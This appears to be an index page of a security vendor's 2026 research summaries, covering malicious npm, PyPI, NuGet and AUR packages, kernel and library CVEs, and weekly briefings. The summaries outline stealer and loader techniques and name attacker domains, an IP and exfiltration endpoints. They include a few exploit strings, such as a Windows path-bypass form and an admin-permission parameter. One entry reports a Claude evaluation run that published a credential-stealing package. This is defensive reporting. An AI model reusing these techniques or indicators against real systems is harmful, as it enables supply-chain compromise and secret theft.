Three August 2026 JupyterLab disclosures show the PyPI extension-management path could misapply administrator policy: blocklists compared non-canonical package names, `/lab/api/plugins` trusted incomplete lock enforcement, and a related `PyPIExtensionManager.install()` path skipped its own allowlist check because of a missing `await`.
LiteLLM's March PyPI compromise maps to 434,000 CI/CD pipelines
August 11-14 follow-on reporting on the March 2026 LiteLLM PyPI compromise reframes `litellm==1.82.7` and `1.82.8` as a credential-exposure event spanning hundreds of thousands of CI/CD runs. The core technical path still matters: a Trivy-linked publish compromise, a hostile `proxy_server.py`, a Python startup hook in `litellm_init.pth`, and post-install access to cloud, registry, and AI-provider secrets.
PyPI's 9-10 August malware pulse hit fake ChainTest, fake CubeSat tooling, and import-time wallet stealers
Newly cataloged PyPI packages `chaintest`, `cubesat-upstream-driver`, `kotanku`, `btcflip`, `btcflx`, and `kotoraka` mixed dependency-confusion lures with import-time wallet theft, secret harvesting, and developer-host compromise during 9-10 August 2026.
Weekly Briefing - 11-08-2026
Corgea's weekly briefing for 5-11 August 2026 covers PyPI's 9-10 August malware pulse, Apache Tomcat's fail-open `EncryptInterceptor` KEV path, Linux SCTP's SCTPhantom root and container-escape chain, and the week's NLTK downloader poisoning research.
CVE-2026-12259 and CVE-2026-12261: NLTK downloader poisoning
Two August 2026 NLTK disclosures show the PyPI package `nltk <= 3.9.4` could trust attacker-controlled corpora or model content too early: `_download_package()` could write and extract bytes before checksum enforcement, while `_unzip_iter()` accepted archive members in shared `corpora/` and `taggers/` namespaces without package-ownership checks.
CVE-2026-64564: Linux SCTP ASCONF UAF turns local code execution into root and container escape
Public 6 August exploit details for `CVE-2026-64564` show that Linux SCTP's ASCONF transport lifetime bug can move from an ordered `DEL-IP` sequence to a surviving use-after-free, direct-map disclosure, `commit_creds()`-based root, and container-to-host escape on real Debian, Ubuntu, and RHEL-family targets until kernels such as `6.6.148`, `6.12.101`, `6.18.42`, `7.1.6`, or `7.2-rc5` are deployed.
CVE-2026-71281: peft unsafe torch.load in LoRA-GA and CorDA
A newly published August 2026 PyPI vulnerability shows Hugging Face `peft` loading LoRA-GA and CorDA cache artifacts with raw `torch.load()` calls instead of its own `weights_only=True` helper, so a hostile cache or covariance file can cross straight into pickle-backed code execution on ML training and inference hosts.
CVE-2026-34486: one moved `super.messageReceived()` call turned Tomcat cluster encryption into a fail-open RCE path
CISA added Apache Tomcat `CVE-2026-34486` to KEV on 4 August 2026, but the important technical detail is smaller than the CVSS suggests: a regression moved `super.messageReceived(msg)` outside the `try` block in `EncryptInterceptor.messageReceived()`, so decryption failures can still forward attacker-controlled bytes into the Tribes deserialization path.
keyv/cacheable npm compromise used Bun, signed provenance, and a fast worm path into hundreds of third-party packages
Fresh 6-7 August reporting on the August 4 `keyv` / `cacheable` compromise tracks the worm as `ChainDrop`, ties it to GitHub Actions runner-memory theft, 453 public victim-like repositories across five accounts, a live C2 rotation to `awqhnjewqjkl[.]icu`, and a still-growing package set that public sources variously count at 400+ packages, 1,700+ versions, and beyond.
Weekly Briefing - 04-08-2026
Corgea's weekly briefing for 29 July-4 August 2026 covers the keyv/cacheable npm worm, Anthropic's likely `anthropickit` PyPI incident, Joyfill's import-time RAT chain, and the week's other important Alibaba-targeted, Linux kernel, GitPython, and Axios research.
Arch AUR's August malware wave: openconnect-sso and 89 named packages
Arch Linux temporarily disabled AUR package adoption and then all pushes after a new late-July malware wave anchored by `openconnect-sso`. Primary-source review supports at least 89 publicly corroborated package names in the current wave, with malicious updates adding binaries such as `validator` into AUR package build paths and reusing a Tor-backed second stage tied to the earlier Atomic Arch campaign.
Weekly Briefing - 02-08-2026
Corgea's weekly briefing for 30 July-2 August 2026 covers the Arch AUR malware wave that forced an adoption freeze, Anthropic's likely `anthropickit` PyPI credential stealer, Joyfill's blockchain-resolved npm RAT chain, and Linux `CVE-2026-53264`.
anthropickit: likely PyPI package behind Anthropic's one-hour credential theft incident
Anthropic's July 30 incident report describes a Claude evaluation run that published a malicious PyPI package and landed on 15 real systems; independent package-tracking data and public reverse engineering strongly point to `anthropickit==999.9.9`, whose install-time `setup.py` harvested SSH keys and secret-shaped environment variables to a Pipedream endpoint.
CVE-2026-67320: Axios request interceptors can resurrect inherited proxy settings in Node.js
A newly published August 2026 npm vulnerability shows axios can lose its null-prototype hardening after request interceptors clone config objects, letting a polluted `Object.prototype.proxy` redirect Node HTTP-adapter traffic through an attacker-controlled proxy.
CVE-2026-67324: GitPython 3.1.50 lets `-u` clone options escape the unsafe-option gate
A newly published August 2026 PyPI vulnerability shows GitPython 3.1.50 can still pass attacker-controlled helper commands to `git clone` through joined short options such as `-u<helper>`, turning clone wrappers that trust `allow_unsafe_options=False` into command-execution surfaces.
CVE-2026-53264: Linux net/sched `tc_action` race turns local filter access into root
The late-July 2026 public exploit write-up for `CVE-2026-53264` matters to AppSec teams because concurrent `RTM_NEWTFILTER` and `RTM_DELTFILTER` operations can reclaim a freed `tc_action` in `net/sched`, pivot `tcf_action_fill_size()` through a forged vtable, and turn ordinary local code execution on user-namespace-enabled Linux hosts into init-namespace root until fixed kernels such as `5.10.259`, `5.15.210`, `6.1.176`, `6.6.143`, `6.12.94`, `6.18.36`, or `7.0.13` are deployed.
Joyfill beta npm releases turned module import into a blockchain-resolved RAT chain
Late-July 2026 research shows malicious Joyfill prereleases appending an import-time loader to built bundles, exporting `require` and `module` into globals, resolving second-stage code through Tron, Aptos, and BNB Smart Chain transactions, and then pivoting into a Socket.IO RAT plus developer-tool persistence.
Alibaba-targeted npm cluster split a RAT loader across 18 packages and a live GitHub rule file
Fresh July 28 research ties 18 npm package names impersonating Alibaba-internal tooling to a distributed loader chain. Benign-looking lures route victims into `smart-config-manager`, `cloud-config-fetcher`, and `local-config-parser`, where a still-live `preferences.json` rule uses `items.constructor.constructor` to escape into Node.js process scope and fetch `setting.js` from Alibaba Cloud.
Weekly Briefing - 28-07-2026
Corgea's weekly briefing for 22-28 July 2026 covers GitHub Actions abuse tied to cPanel/WHM exploitation, ViteVenom's blockchain-backed npm RAT, RefluXFS's XFS local-root race, and Netty's July decoder DoS fixes.
CVE-2026-64600: RefluXFS turns XFS reflink races into Linux root
Qualys' July 2026 RefluXFS disclosure matters to AppSec teams because a stale XFS data-fork mapping after an `ILOCK` cycle lets ordinary local code execution redirect `O_DIRECT` writes into root-owned files on reflink-enabled volumes, with public metadata tracking affected Linux kernels back to 4.11 and fixes in upstream stable lines such as 6.12.96, 6.18.39, and 7.1.4.
CVE-2026-44891, 55831, and 55833: Netty 4.1.136 / 4.2.16 patch STOMP and SPDY DoS primitives
Newly published July 2026 Netty advisories matter to Maven teams because `io.netty:netty-codec-stomp` can accumulate attacker-sized STOMP header sets in memory, while `io.netty:netty-codec-http` still exposed two reachable SPDY denial-of-service paths: unbounded SETTINGS map materialization and zlib header inflation that continues after `maxHeaderSize` truncation.
GitHub Actions abuse turned ten Packagist dev packages into a Linux scanner for cPanel/WHM CVE-2026-41940
Socket's July 22 research shows that compromised `dinushchathurya/*` Packagist development versions were only the visible edge of a broader GitHub Actions campaign: 583 malicious workflow files used GitHub-hosted Ubuntu runners to fetch Linux payloads from `43[.]228[.]157[.]68`, exploit `CVE-2026-41940` in cPanel/WHM, and exfiltrate cloud, source-control, database, and application secrets.
ViteVenom: seven fake Vite npm scopes used blockchain dead-drops to launch a detached RAT
New July 2026 research on the ViteVenom cluster shows seven malicious npm packages impersonating Vite-related tooling, hiding their loader in `bin/vite.js`, resolving second-stage payloads through Tron, Aptos, and Binance Smart Chain transactions, and spawning a detached Node process that survives the original package execution.
Weekly Briefing - 21-07-2026
Corgea's weekly briefing for 15-21 July 2026 covers SleeperGem's dormant RubyGems maintainer compromise, Pepesoft's malicious NuGet tool cluster, and CVE-2026-48815 in sigstore-js.
SleeperGem: hijacked dormant RubyGems accounts turned `require` into a persistent developer backdoor
Between 18 and 19 July 2026, attackers used dormant RubyGems maintainer accounts and a brand-new `git_credential_manager` gem to push a staged loader chain into `Dendreo` and `fastlane-plugin-run_tests_firebase_testlab`. The malicious Ruby code disabled TLS verification, fetched shell or PowerShell payloads from a public Forgejo host, then escalated in `2.8.2` and `2.8.3` from an install-time dropper into a require-time path that planted a persistent daemon under `~/.local/share/gcm/`.
CVE-2026-48815: `sigstore-js` dropped `certificateOIDs` checks, weakening JavaScript artifact-verification policy
Newly cataloged this week, `sigstore` for npm accepted a documented `certificateOIDs` verification policy but silently discarded it before enforcement. Any JavaScript verification gate that relied on OID-bound signer identity in `sigstore <= 4.1.0` could accept signatures from certificates that should have failed policy.
11 malicious NuGet tools disguised as game cheats stage `pepesoft.exe` and spreadsheet-backed host surveillance
New 14 July 2026 research links 11 malicious `DotnetTool` NuGet packages to a shared downloader that resolves GitHub over DNS-over-HTTPS, stages `pepesoft.exe` from GitHub Releases or Hugging Face, injects cloud configuration through environment variables, and turns Google Sheets plus Telegram into operator telemetry, licensing, and screenshot-control channels.
AsyncAPI's July 14 npm compromise chained `pull_request_target`, unsigned branch pushes, and require-time malware
On 14 July 2026, attackers used a `pull_request_target` workflow in `asyncapi/generator` to steal a privileged token, pushed unsigned commits to AsyncAPI release branches, and published five malicious `@asyncapi` package versions whose payload fired on `require()`, pulled stage two from IPFS, and persisted as `NodeJS/sync.js`.
Weekly Briefing - 14-07-2026
Corgea's weekly briefing for 8-14 July 2026 covers Jscrambler's import-time npm compromise, Braintree.Net's production payment skimmer, Injective's wallet-key exfiltration release, and the week's most important Airflow, Paysafe, Operation Muck and Load, and apko/melange research.
CVE-2026-54174: `apko` and `melange` trusted APK control metadata without proving the installed data section
A newly published July 2026 advisory for `chainguard.dev/apko` and `chainguard.dev/melange` shows that builds before `apko` `1.2.9` and `melange` `0.50.4` verified the signed APK control section but not the package data section, letting a compromised mirror, poisoned cache, or MITM substitute the files actually installed into an OCI image while earlier integrity checks still passed.
Compromised `jscrambler` npm releases escalated from preinstall dropper to import-time Rust infostealer
On 11 July 2026, five malicious `jscrambler` npm releases (`8.14.0`, `8.16.0`, `8.17.0`, `8.18.0`, and `8.20.0`) shipped a cross-platform Rust infostealer that first executed through `preinstall`, then pivoted into `dist/index.js` and the CLI entrypoint to survive `--ignore-scripts` and hook-only scanning.
Braintree.Net on NuGet skims live card data, merchant keys, and host secrets in production
New July 2026 research exposed `Braintree.Net` as a NuGet typosquat of PayPal Braintree's official .NET SDK. The package hooks `CreditCardGateway` and `BraintreeGateway.PrivateKey`, siphons PAN/CVV and merchant credentials to `api.348672-shakepay[.]com`, and uses a companion `DependencyInjector.Core` package to auto-run environment and config harvesting through .NET module initializers.
Injective's 1.20.21 npm release turned wallet key derivation into mnemonic and private-key exfiltration
A compromised GitHub maintainer path pushed `@injectivelabs/sdk-ts@1.20.21` and 17 pinned companion packages to npm on 8 July 2026. The malicious release hooks `PrivateKey.fromMnemonic()` and `PrivateKey.fromHex()`, batches wallet secrets into an `X-Request-Id` header, and quietly POSTs them to an Injective-branded endpoint that blends into normal SDK traffic.
Malicious Go command module stages PowerShell loader and links to a 222-repository GitHub lure network
Socket's 8 July 2026 Operation Muck and Load research exposed a fake Go `dnsub` scanner, `github.com/kaleidora/dnsub-scanning-tool`, that launches hidden PowerShell staging on Windows and ties into a larger 222-repository GitHub lure network spanning 190 accounts.
CVE-2026-33264: Apache Airflow let DAG authors cross into scheduler and API-server RCE
Apache Airflow before `3.3.0` deserialized attacker-controlled trigger state while loading serialized DAGs on the Scheduler and API Server. That path reached `BaseSerialization.deserialize()`, which can `import_string()` attacker-chosen class paths, turning lower-trust DAG author input into higher-trust code execution across Airflow's control-plane processes.
Paysafe, Skrill, and Neteller typosquats on npm and PyPI stole developer secrets
A July 7 cluster of 17 malicious npm and PyPI packages impersonated Paysafe, Skrill, and Neteller integrations. The npm variants exposed a fake `PaysafeClient`, delayed exfiltration until SDK methods were called, decoded an ngrok-backed C2 at runtime, and harvested any environment variable that looked like a key, token, password, secret, auth value, or API credential.
CVE-2026-53359: Januscape turns KVM shadow-page role confusion into Linux guest-to-host escape
Januscape is a Linux KVM/x86 use-after-free where `kvm_mmu_get_child_sp()` reused shadow pages on GFN match alone, letting a nested guest trigger role confusion, orphaned rmap state, host kernel memory corruption, and guest-to-host compromise on affected Intel and AMD virtualization hosts.
Weekly Briefing - 07-07-2026
Corgea's weekly briefing for 1-7 July 2026 covers PolinRider's cross-ecosystem supply-chain expansion, the Rollup polyfill npm RAT chain, Bad Epoll's public Linux root exploit, and the week's most important TeamPCP, Keras, buffa/connectrpc, and libzypp research.
Rollup polyfill lookalikes on npm hide an import-time loader, JSONKeeper stage, and 216.126.236.244 RAT
A June 30-July 4 disclosure chain exposed six malicious npm packages impersonating `rollup-plugin-polyfill-node`. The backdoor lives in CommonJS `dist/index.js`, silently `npm install`s second-stage packages on `require()`, `eval`s JSONKeeper-hosted code, decrypts a follow-on payload from `216.126.236.244`, and turns developer workstations or CI runners into remote-access, browser-theft, clipboard-monitoring footholds.
CVE-2026-46242: Bad Epoll turns Linux eventpoll cleanup into local root
Bad Epoll is a Linux kernel race-condition use-after-free in eventpoll where concurrent close paths can corrupt freed kernel objects, turn `/proc/self/fdinfo` into a kernel-memory read primitive, and escalate ordinary local code execution to root on affected kernels.
FBI TeamPCP alert ties Trivy, KICS, LiteLLM, and Telnyx into one supply-chain playbook
July 2026 FBI-linked reporting consolidates TeamPCP's developer-tool tradecraft across Trivy, KICS, LiteLLM, Telnyx, npm, and PyPI: mutable CI artifacts, stolen registry credentials, Python startup hooks, runner-memory scraping, and GitHub dead-drop exfiltration.
CVE-2026-12481: Keras Lambda.from_config() turns unset safe mode into code execution
A July 3 PyPI disclosure shows that Keras 3.14.x can treat `safe_mode=None` as effectively disabled during `Lambda` layer deserialization, letting attacker-controlled marshaled bytecode reach `func_load()` and become executable Python functions.
PolinRider expands from npm into Go, Packagist, and Chrome extension supply-chain poisoning
July 2026 research shows the PolinRider campaign reusing off-screen JavaScript loaders, VS Code task abuse, blockchain dead-drop staging, and Git-history rewrite tradecraft across 162 malicious artifacts spanning npm, Go modules, Packagist, and a Chrome extension.
CVE-2026-25707: `libzypp` lets hostile repository metadata escape the cache root
A late-June Linux package-manager disclosure shows that pre-17.38.10 `libzypp` trusted `../`-style repository metadata locations, allowing a hostile or compromised repo to steer mirrored files outside the intended cache directory during refresh and making repository trust an arbitrary local file overwrite boundary.
CVE-2026-55407: `buffa` and `connectrpc` amplify tiny protobuf payloads into Rust OOMs
A June 30 disclosure shows that pre-0.8.0 versions of the Rust crates `buffa` and `connectrpc` can inflate streams of unknown protobuf fields into outsized heap allocations, turning small untrusted messages into process-killing memory amplification.
CVE-2026-58302: LinuxCNC rtapi_app path traversal to root
LinuxCNC before 2.9.9 installs rtapi_app with elevated privileges and feeds user-controlled module names into dlopen() after formatting ${EMC2_RTLIB_DIR}/${name}.so. Without rejecting slashes or .. segments, an unprivileged local user can traverse out of the module directory and load an arbitrary shared library as root.
Weekly Briefing - 30-06-2026
Corgea's weekly briefing for 24-30 June 2026 covers the ImmobiliareLabs Backstage plugin compromise, Leo Platform's expanding Phantom Gyp/Miasma package wave, expr-eval's no-fix Node.js code-execution flaw, and Vite's Windows dev-server secret leak.
CVE-2026-13502: antlr4-maven-plugin build-state deserialization
CVE-2026-13502 affects org.antlr:antlr4-maven-plugin 4.13.0 through 4.13.2. The public disclosure frames it as a race around the plugin's dependency-status file, but the practical sink is unfiltered ObjectInputStream deserialization of build-directory state under target/maven-status/antlr4/dependencies.ser.
ImmobiliareLabs Backstage plugins compromised with Phantom Gyp Miasma payload
On 26 June 2026, 22 malicious patch releases hit four `@immobiliarelabs` Backstage plugin families. The poisoned npm artifacts added a `binding.gyp` trigger plus a new 5 MB root `index.js`, turning `npm install` into install-time code execution against environments that often hold GitLab, LDAP, CI, cloud, and developer-portal secrets.
CVE-2026-53571: Vite `server.fs.deny` bypass leaks protected files on Windows
Vite's dev server on Windows can leak `.env`, `.env.*`, and certificate files that developers expected `server.fs.deny` to block. The bypass uses NTFS alternate-data-stream path forms such as `/.env::$DATA?raw` and, in some cases, 8.3 short-name aliases, affecting `vite` before `6.4.3`, `7.3.5`, and `8.0.16` when the dev server is exposed beyond localhost and the target file sits in an allowed directory.
Leo Platform npm packages compromised with Phantom Gyp Miasma toolkit
On 24 June 2026, malicious versions of 23 Leo Platform npm packages were published in a six-second burst. Follow-up reporting on 25 June shows the wave was broader than the initial 20-package view: three additional prerelease connector packages were poisoned, `leo-sdk`'s `latest` dist-tag was redirected to the malicious `6.0.19` line, and the same Phantom Gyp plus Bun-staged payload family also overlapped with adjacent npm and source-repository poisoning activity.
CVE-2026-12866: `expr-eval` turns untrusted formulas into Node.js code execution
A newly published June 2026 npm vulnerability shows that every `expr-eval` release can compile attacker-influenced formulas into executable JavaScript through `Expression.prototype.toJSFunction()`, exposing Node.js services, internal tools, and CI helpers that treat user formulas as data.
Weekly Briefing - 23-06-2026
Corgea's weekly briefing for 17-23 June 2026 covers the Mastra npm scope takeover that weaponized easy-day-js across more than 140 packages, plus Nodemailer's newly disclosed raw-message file-read and SSRF bypass.
Nodemailer raw option bypasses disableFileAccess and disableUrlAccess
A newly published high-severity Nodemailer advisory shows that every version up to 9.0.0 can turn attacker-controlled `raw` message input into arbitrary local-file disclosure and full-response SSRF, because the `MailComposer` raw-message path drops the `disableFileAccess` and `disableUrlAccess` guards before `MimeNode` resolves `{ path }` or `{ href }` content.
Mastra npm scope takeover used easy-day-js to Trojanize 141-143 packages
On 17 June 2026, a compromised Mastra maintainer account republished 141 `@mastra/*` packages plus the top-level `mastra` and `create-mastra` packages with a new `easy-day-js: ^1.11.21` dependency that resolved to a weaponized `1.11.22` postinstall dropper, turning fresh npm installs into a detached second stage that established cross-platform persistence, profiled browsers and wallets, and, in Microsoft's 19 June follow-up, was tied to Sapphire Sleet activity that escalated some Windows hosts into PowerShell-backed, SYSTEM-level persistence.
GlassWASM used TinyGo WebAssembly and Solana memos in trojanized Open VSX extensions
Trojanized Open VSX copies of `ExarGD.vsblack@0.0.1` and `noellee-doc.flint-debug@0.1.1` cloned legitimate extension identities, auto-executed a TinyGo-compiled WebAssembly payload on startup, polled Solana JSON-RPC for memo-based command-and-control, and built OS-specific `child_process` download-and-execute commands for macOS, Linux, and Windows.
Weekly Briefing - 16-06-2026
Corgea's weekly briefing for 10-16 June 2026 covers the uncovered remainder of the week's research: the dbmux Phantom Gyp / Miasma compromise, Dulwich's Windows and format-patch path traversal fixes, libp2p's unauthenticated DHT disk-exhaustion flaw, and Spring's internally discovered WebFlux and static-resource DoS fixes.
CVE-2026-50010, 50011, 50020, and 50560: Netty 4.1.135 / 4.2.15 fix TLS, HTTP/1.1, HTTP/2, and Redis parser flaws
Netty's June security train matters to Maven teams because a custom trust manager can silently disable HTTPS hostname verification, `HttpObjectDecoder` can over-accept leading control bytes and enable request-boundary confusion, `RedisArrayAggregator` can allocate attacker-sized arrays, and HTTP/2 servers can be coerced into response-write failures via client-advertised header limits.
Weekly Briefing - 15-06-2026
Corgea's weekly briefing for 10-15 June 2026 covers the Atomic Arch AUR takeover, Netty's security-heavy 4.1.135 / 4.2.15 release, the onering crates compromise, and a late-breaking Open VSX extension attack that used TinyGo WebAssembly plus Solana memo-based C2.
Atomic Arch turned orphaned AUR packages into npm and Bun malware launchers
The June 11-12 Atomic Arch campaign adopted orphaned AUR packages, inserted `npm install atomic-lockfile` or Bun-based `js-digest` / `lockfile-js` fetches into package hooks, and used a malicious lifecycle script to execute `src/hooks/deps`, a Linux ELF infostealer with optional eBPF hiding logic across a verified `1,619` unique AUR package names.
CVE-2026-42305 and CVE-2026-47712: Dulwich 1.2.5 fixes Windows checkout abuse and format_patch path traversal
Dulwich before 1.2.5 accepts NTFS-hostile tree entries that can plant files under .git or escape the work tree on Windows, and it also derives format_patch filenames from unsanitized commit subjects, letting attacker-controlled commits write patch files outside the requested output directory.
CVE-2026-45783: @libp2p/kad-dht lets unauthenticated peers fill disk with unvalidated PUT_VALUE records
A newly published flaw in @libp2p/kad-dht before 16.2.6 allows any remote peer to stream crafted PUT_VALUE messages whose keys bypass record validation, turning DHT server nodes into unbounded disk sinks until the host or container runs out of storage.
CVE-2026-41840 and CVE-2026-41842: Spring 7.0.8 fixes WebFlux multipart and versioned-resource DoS flaws
Spring Framework 7.0.8 and 6.2.19 fix two newly disclosed denial-of-service flaws that matter to Maven-based application teams: a WebFlux multipart-processing leak reachable through hostile multipart bodies, and a static-resource resolution path that can pin connections when versioned filesystem assets are enabled.
dbmux npm package used Phantom Gyp to execute Miasma during install
The `dbmux` npm package was classified as critical malware after public tracking tied compromised `1.x` and `2.2.x` releases to Miasma's Phantom Gyp technique, where a weaponized `binding.gyp` forces `node-gyp rebuild` to execute a hidden loader during `npm install` even when `package.json` does not advertise lifecycle scripts.
onering 1.4.1 used Cargo build.rs to exfiltrate private source diffs
The compromised Rust crate `onering@1.4.1` added a 74-line `build.rs` that walks out of Cargo's `OUT_DIR`, runs `git log -n 1` and `git diff HEAD^ HEAD` against the consuming repository, and posts commit metadata plus the latest source diff to a Sentry ingest endpoint on every build.
Hades PyPI follow-on hit MCP packages and Python typosquats
On June 9, 2026, the Hades PyPI campaign expanded beyond the earlier scientific-package wave into MCP tooling and typo-squatted Python packages such as `openai-mcp`, `langchain-core-mcp`, `instructor-mcp`, `tiktoken-mcp`, `ray-mcp-server`, `rsquests`, `rlask`, and `tlask`, using `.pth` loaders, split staging, and native-extension triggers to launch a Bun-executed stealer.
Weekly Briefing - 09-06-2026
Corgea's weekly briefing for 2-9 June 2026 covers the Phantom Gyp Miasma npm wave, Hades' expansion into MCP-focused PyPI packages, the nvm mirror command injection flaw, and the now-exploited Oracle WebLogic T3/IIOP exposure issue.
CVE-2026-44488: Axios fetch adapter bypasses maxContentLength and maxBodyLength
Axios 1.7.0 through 1.15.x does not enforce configured request and response size limits when the fetch adapter is selected, allowing oversized uploads, downloads, and data: URL bodies to exhaust memory and CPU on server-side runtimes that relied on those limits as a security boundary.
Phantom Gyp Miasma hit Vapi, ai-sdk-ollama, and 55 more npm packages
A June 3-4 Miasma follow-on wave used a 157-byte binding.gyp file to force node-gyp command substitution during npm install, turning @vapi-ai/server-sdk, ai-sdk-ollama, and dozens of autotel, awaitly, executable-stories, and node-env-resolver packages into Bun-staged credential-stealing worm loaders while leaving their real dist/ code untouched.
CVE-2024-21182: Oracle WebLogic T3 and IIOP exposure is now exploited
CISA added CVE-2024-21182 to KEV after active exploitation of an Oracle WebLogic Server Core flaw that is reachable without authentication over T3 and IIOP and can expose all WebLogic-accessible data.
Miasma poisoned Red Hat Cloud Services npm packages through trusted publishing
A compromised Red Hat GitHub account pushed orphan commits into RedHatInsights repositories and used GitHub Actions OIDC trusted publishing to ship Miasma, a Bun-staged credential-stealing worm with GitHub dead-drop exfiltration and local persistence, across @redhat-cloud-services npm packages.
Weekly Briefing - 02-06-2026
Corgea's weekly briefing for 26 May-2 June 2026 covers the Red Hat Cloud Services Miasma npm compromise, private Gitea and Forgejo container-image exposure, the js-logger-pack MicrosoftSystem64 implant, banking-certificate theft through a malicious NuGet SDK, dependency-confusion reconnaissance, OpenSearch npm typosquats, CMS privilege escalations, and stored editor XSS.
CIFSwitch turns Linux CIFS SPNEGO upcalls into local root
CIFSwitch is a Linux kernel and cifs-utils privilege escalation where an unprivileged process can forge a cifs.spnego key request, make request-key launch cifs.upcall as root, and force NSS code execution inside an attacker-controlled namespace.
CVE-2026-27771 exposed private Gitea and Forgejo container images
CVE-2026-27771 is a Gitea container registry authorization flaw where unauthenticated requests could pull private OCI image manifests and layers from affected self-hosted instances, exposing application code, dependencies, and secrets baked into images.
roberts/leads Packagist dev branch hid a Famous Chollima blockchain loader
The Packagist package roberts/leads exposed a poisoned development branch as dev-drewroberts/feature/test-case, where tailwind.js appended obfuscated JavaScript that resolved payload material through TRON, Aptos, and BNB Smart Chain before executing it in Node.js.
oob.moika.tech npm campaign used dependency confusion to profile developer environments
Public reporting tied at least 179 malicious npm package-version records to an oob.moika.tech dependency-confusion campaign that abused internal-looking scopes, postinstall hooks, inflated versions, and detached JavaScript payloads to inventory developer and CI environments.
14 OpenSearch-themed npm typosquats stole AWS, Vault, GitHub, and npm secrets
A May 28 npm campaign published 14 OpenSearch, ElasticSearch, DevOps, and config lookalikes that executed during npm install, loaded a Bun-based credential harvester, and targeted cloud and CI/CD secrets.
CVE-2026-48864: libsolv .solv page decompression can overflow parser buffers
A high-severity libsolv flaw lets attacker-controlled .solv cache data reach unchecked decompression paths in repopagestore page loading, creating out-of-bounds memory access in tooling that parses untrusted package metadata caches.
js-logger-pack turns Hugging Face into a malware CDN and exfiltration backend
Recent js-logger-pack npm releases and related logger packages deliver MicrosoftSystem64, a cross-platform Node SEA implant that persists on Windows, macOS, and Linux, logs keystrokes, scans developer secrets, and uploads stolen data to private Hugging Face datasets.
Sicoob.Sdk NuGet impersonator steals mTLS certificates through Sentry telemetry
Malicious Sicoob.Sdk NuGet releases 2.0.0 through 2.0.4 impersonated an official Brazilian banking SDK, then exfiltrated client IDs, PFX passwords, base64-encoded PFX certificate archives, and boleto responses from the SicoobClient constructor.
TinyMCE CVE-2026-47759 through 47762 turn editor sanitization gaps into stored XSS
TinyMCE disclosed four high-severity stored-XSS vulnerabilities across npm, NuGet, and Composer packages, affecting data-mce-* attributes, nested SVG namespace handling, media plugin embeds, and forged mce:protected comments.
codexui-android npm package exfiltrates Codex OAuth tokens on startup
The npm package codexui-android, also pulled by Android apps at runtime, added registry-only code that reads Codex auth.json, XOR-encodes the full OpenAI OAuth token blob, and posts it to sentry.anyclaw.store on every launch.
@velora-dex/sdk 9.4.1 loaded a macOS MINIRAT backdoor on import
JINX-0164's npm compromise of @velora-dex/sdk 9.4.1 appended three registry-only lines to dist/index.js, causing any require() or import of the DeFi SDK to fetch a macOS shell dropper and install a Go backdoor with launchctl persistence.
CVE-2026-48172: exploited LiteSpeed cPanel plugin bug lets any tenant reach root
CISA added CVE-2026-48172 to KEV after active exploitation of LiteSpeed's User-End cPanel Plugin. A vulnerable Redis enable/disable JSON API path exposed to cPanel users can execute attacker-controlled scripts with root privileges on shared Linux hosting servers.
Joomla 5.4.6 and 6.1.1 patch com_users privilege-escalation paths
Joomla's 26 May security release fixes critical access-control failures in the com_users batch task and group-editing webservice endpoint. CVE-2026-48898 and CVE-2026-48904 affect Joomla CMS 4.0.0 through 5.4.5 and 6.0.0 through 6.1.0.
Snipe-IT 8.4.1 closes API admin escalation, component-note XSS, and open redirect flaws
Snipe-IT 8.4.1 fixes three newly published CVEs, led by CVE-2026-44832: an API permission-assignment bug where a user with users.edit could set permissions[admin]=1 on their own account.
CVE-2026-9082: exploited Drupal PostgreSQL SQL injection reaches KEV
CVE-2026-9082 is a highly critical Drupal core SQL injection in the PostgreSQL database abstraction path where crafted anonymous requests can influence query construction, leading to information disclosure, privilege escalation, and possible remote code execution; CISA added it to KEV after exploit attempts were observed in the wild.
Laravel-Lang tag rewrites turned Composer autoload into credential theft
The Laravel-Lang compromise rewrote trusted Composer tags across four community packages so that normal Laravel and Symfony bootstraps loaded a malicious src/helpers.php dropper through autoload.files, fetching a PHP stealer from flipboxstudio.info and targeting cloud, CI/CD, Kubernetes, Vault, browser, SSH, and developer secrets.
TrapDoor used npm, PyPI, and Crates.io lures to steal developer secrets
TrapDoor is a coordinated multi-registry malware campaign affecting 34 package names across npm, PyPI, and Crates.io, with ecosystem-specific execution paths for postinstall hooks, Python import-time remote JavaScript execution, and Rust build.rs scripts targeting crypto, DeFi, AI, and security developers.
Weekly Briefing - 26-05-2026
Corgea's weekly briefing for 19-26 May 2026 covers the GitHub internal repository breach tied to the Nx Console compromise, TrapDoor's multi-registry package malware campaign, exploited Drupal and Langflow KEV vulnerabilities, Laravel-Lang tag rewrites, TensorRT-LLM deserialization flaws, the art-template browser exploit-chain compromise, and a Linux ptrace local privilege escalation.
art-template npm compromise delivered a Coruna-like iOS exploit kit
Compromised npm releases of art-template appended browser-side script loaders to lib/template-web.js, sending downstream site visitors through hidden iframes into a Safari/iOS exploit delivery framework instead of only stealing developer secrets at install time.
CVE-2026-46333: Linux ptrace race leaks privileged file descriptors
CVE-2026-46333 is a Linux kernel ptrace authorization flaw where pidfd_getfd can race a dying privileged process after it drops credentials, duplicating sensitive file descriptors such as /etc/shadow, SSH host keys, or authenticated system D-Bus sockets.
NVIDIA TensorRT-LLM deserialization flaws expose distributed inference control paths
CVE-2025-33255 and CVE-2026-24142 affect NVIDIA TensorRT-LLM before 1.2, where unsafe deserialization in MPI and serialized weight-handle paths could turn crafted control-plane data into code execution, data tampering, information disclosure, or denial of service.
GitHub breached through a poisoned VS Code extension: 3,800 internal repositories stolen
TeamPCP exploited a cascading supply chain attack from TanStack to Nx Console to a GitHub employee workstation to exfiltrate approximately 3,800 private GitHub repositories containing infrastructure configs, deployment scripts, staging credentials, and internal API schemas.
Nx Console VS Code extension 18.95.0 shipped a developer credential stealer
A malicious 18.95.0 release of the Nx Console VS Code extension executed a hidden npx task on workspace activation, fetched an obfuscated Bun payload from a dangling nrwl/nx commit, harvested developer and cloud credentials, installed macOS persistence, and demonstrated the same auto-update path now tied to GitHub internal repository exposure.
shopsprint/decimal Go typosquat hides DNS TXT command backdoor
The typosquatted Go module github.com/shopsprint/decimal copied the popular shopspring/decimal API, then weaponized version 1.3.3 with an init() goroutine that polls DNS TXT records and executes returned commands.
CVE-2026-25244: WebdriverIO BrowserStack Service executes Git branch names in shell commands
WebdriverIO BrowserStack Service versions through 9.23.2 interpolate attacker-controlled Git branch names into execSync() calls during test orchestration smart selection, allowing command injection on CI runners and developer machines.
Mini Shai-Hulud npm worm hits AntV, echarts-for-react, and timeago.js
